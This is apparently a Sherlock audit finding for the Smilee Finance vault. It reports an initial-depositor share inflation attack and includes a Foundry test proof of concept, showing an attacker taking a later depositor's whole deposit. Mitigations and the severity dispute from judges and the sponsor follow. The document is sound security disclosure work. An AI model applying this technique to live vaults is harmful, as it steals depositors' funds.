kfx - The vault is vulnerable to the initial depositor share inflation attacks

[sherlock-admin3]

kfx

medium

The vault is vulnerable to the initial depositor share inflation attacks

Summary

The vault tracks the price of shares in terms of underlying assets. The price of shares can be manipulated via donations to the vault, using the principle described here: https://docs.openzeppelin.com/contracts/4.x/erc4626#inflation-attack

Vulnerability Detail

The simplest way how to trigger the vulnerability is to use a small initial deposit (e.g. 1 wei), followed by a large donation (e.g. 1e18). If at this point the epoch is rolled over, the share price is then fixed, and has to be used by the depositors in the next epoch. If the price of share P gets very large, then whenever a depositor in the subsequent epoch deposits asset amount a that is not evenly divisible by P, then a % P units of the asset will end up being "donated" to the vault. A special case is when the amount a is less than P, then all of it is donated to the vault, and no shares are minted for the new depositor.

This technique can be used by the first depositor to steal from subsequent depositors.

As long as the epoch is rolled in a state where there are few shares but many tokens in the vault, the vulnerability gets triggered. Consequently, simply requiring the that the initial deposit is above some minimum threshold is not sufficient, because the number of shares can be reduced later, by partially withdrawing.

Impact

The impact is that: 1) Attackers can steal parts of deposits from users in the epoch after the attack, due to rounding down in favor of the existing LPs in the vault. 2) For new users below of certain size it will be impossible to enter the vault in the epoch after the attack.

The difference between this and the "classic" version of the share price inflation attack is that in Smilee, the share price only gets fixed when then epoch is rolled over. This property makes the attack easier to mitigate.

Code Snippet

https://github.com/sherlock-audit/2024-02-smilee-finance/blob/main/smilee-v2-contracts/src/Vault.sol#L621-L622

Proof of concept

Test case

```solidity function testVaultInflationAttack() public { uint256 initialAliceDeposit = 1; uint256 donationAmount = 1e18 + 1e11; uint256 initialBobDeposit = 1e18; // Alice is the attacker, who initially deposits 1 wei VaultUtils.addVaultDeposit(alice, initialAliceDeposit, tokenAdmin, address(vault), vm); // then donates 1e18 wei + epsilon to the vault vm.prank(tokenAdmin); baseToken.mint(alice, donationAmount); vm.prank(alice); baseToken.transfer(address(vault), donationAmount); Utils.skipDay(true, vm); vm.prank(tokenAdmin); vault.rollEpoch(); // Bob is a normal user who deposits 1e18 wei VaultUtils.addVaultDeposit(bob, initialBobDeposit, tokenAdmin, address(vault), vm); Utils.skipDay(true, vm); vm.prank(tokenAdmin); vault.rollEpoch(); uint256 heldByUser; uint256 heldByVault; (heldByUser, heldByVault) = vault.shareBalances(alice); vm.prank(alice); vault.initiateWithdraw(heldByUser + heldByVault); (heldByUser, heldByVault) = vault.shareBalances(bob); // Bob should have no shares to withdraw assertEq(heldByUser + heldByVault, 0); Utils.skipDay(false, vm); vm.prank(tokenAdmin); vault.rollEpoch(); vm.prank(alice); vault.completeWithdraw(); // show that Alice has taken Bob's deposit int256 finalAmount = int256(baseToken.balanceOf(address(alice))); int256 initialAmount = int256(initialAliceDeposit + donationAmount); int256 delta = finalAmount - initialAmount; console.log("Alice's income:", delta); assertEq(uint256(delta), initialBobDeposit); // Alice stole the full Bob's deposit } ``` Output: ```text Alice's income: 1000000000000000000 ```

Tool used

Manual Review

Recommendation

Either require that the first depositor or the vault creator locks some fixed amount of initial shares for infinite time. Or do not permit to roll the epoch when the price per share would end up more than a reasonable threshold. Or do not allow withdrawals when the number of remaining shares would be more than zero, but below another reasonable threshold.

Duplicate of #22

[sherlock-admin2]

2 comment(s) were left on this issue during the judging contest.

panprog commented:

low, because it is highly unlikely that there will be just 1 wei deposit in the first epoch. If it is, something is wrong with the vault in the first place and might be considered admin mistake. dup of #22

takarez commented:

valid; medium(7)

[metadato-eth]

SAME AS 22 and 142 LOW We agree vault inflation attack can mathematically be possible but Smilee vaults are not standard ones. For this attack to happen there must be a single depositor in the very first epoch. First epoch has a custom lenght and it is used by the team simply to set up the vault and launch it with some initial capital (otherwise the IG side would have 0 notional to trade). Therefore the exploit is basically not possible. In any case we implemented the fix.